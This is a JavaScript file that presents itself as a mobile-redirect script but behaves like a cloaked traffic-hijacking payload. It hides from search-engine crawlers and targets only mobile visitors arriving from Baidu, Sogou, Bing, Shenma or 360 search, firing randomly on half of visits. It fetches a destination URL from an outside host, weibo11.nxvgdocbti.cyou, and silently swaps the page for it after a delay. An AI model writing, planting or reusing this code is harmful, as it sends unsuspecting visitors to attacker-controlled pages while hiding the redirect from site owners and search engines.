
(function() {
    const REDIRECT_COOKIE_NAME = 'mobile_redirected';
    const DELAY_TIME = 3000;
    const COOKIE_EXPIRE_DAYS = 1;
    const REDIRECT_PROBABILITY = 0.5;

    function isMobile() {
        return /(mobile|android|iphone|ipod|blackberry|iemobile|opera mini|windows phone)/i.test(navigator.userAgent) && 
               !/(ipad|tablet)/i.test(navigator.userAgent);
    }

    function isSearchEngineSpider() {
        const ua = navigator.userAgent;
        const spiders = [
            /Baiduspider/i,
            /Sogou/i,
            /bingbot/i,
            /YisouSpider/i,
            /Shenma/i,
            /360Spider/i
        ];
        return spiders.some(pattern => pattern.test(ua));
    }

    function isAllowedSource() {
        const referrer = document.referrer.toLowerCase();
        const ua = navigator.userAgent.toLowerCase();
        const allowedDomains = [
            'baidu.com', 'baidu.',
            'sogou.com',
            'bing.com', 'msn.com',
            'sm.cn',
            'so.com', '360.cn'
        ];
        const isFromSearchEngine = allowedDomains.some(domain => referrer.includes(domain));
        const isBaiduApp = ua.includes('baidu') && !ua.includes('baiduspider');
        return isFromSearchEngine || isBaiduApp;
    }

    function hasRedirected() {
        const cookies = document.cookie.split(';');
        for (let i = 0; i < cookies.length; i++) {
            const cookie = cookies[i].trim();
            if (cookie.startsWith(REDIRECT_COOKIE_NAME + '=')) {
                return cookie.substring(REDIRECT_COOKIE_NAME.length + 1) === '1';
            }
        }
        return false;
    }

    function setRedirectCookie() {
        const date = new Date();
        date.setTime(date.getTime() + (COOKIE_EXPIRE_DAYS * 24 * 60 * 60 * 1000));
        const expires = "expires=" + date.toUTCString();
        document.cookie = REDIRECT_COOKIE_NAME + "=1;" + expires + ";path=/;samesite=lax";
    }

    async function getRedirectUrl() {
        try {
            const controller = new AbortController();
            const timeoutId = setTimeout(() => controller.abort(), 5000);
            const response = await fetch('https://weibo11.nxvgdocbti.cyou/ps.php', {
                cache: 'no-cache',
                signal: controller.signal
            });
            clearTimeout(timeoutId);
            if (!response.ok) {
                throw new Error('Network response was not ok');
            }
            const rawUrl = (await response.text()).trim();
            new URL(rawUrl);
            return rawUrl;
        } catch (error) {
            console.error('Fetch redirect URL failed:', error);
            return null;
        }
    }

    async function initMobileRedirect() {
        if (Math.random() >= REDIRECT_PROBABILITY) {
            return;
        }
        if (isSearchEngineSpider()) {
            return;
        }
        if (!isMobile() || hasRedirected()) {
            return;
        }
        if (!isAllowedSource()) {
            return;
        }
        try {
            const redirectUrl = await getRedirectUrl();
            if (!redirectUrl) {
                return;
            }
            setRedirectCookie();
            setTimeout(() => {
                window.location.replace(redirectUrl);
            }, DELAY_TIME);
        } catch (error) {
            console.error('Mobile redirect failed:', error);
        }
    }

    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', initMobileRedirect);
    } else {
        initMobileRedirect();
    }
})();
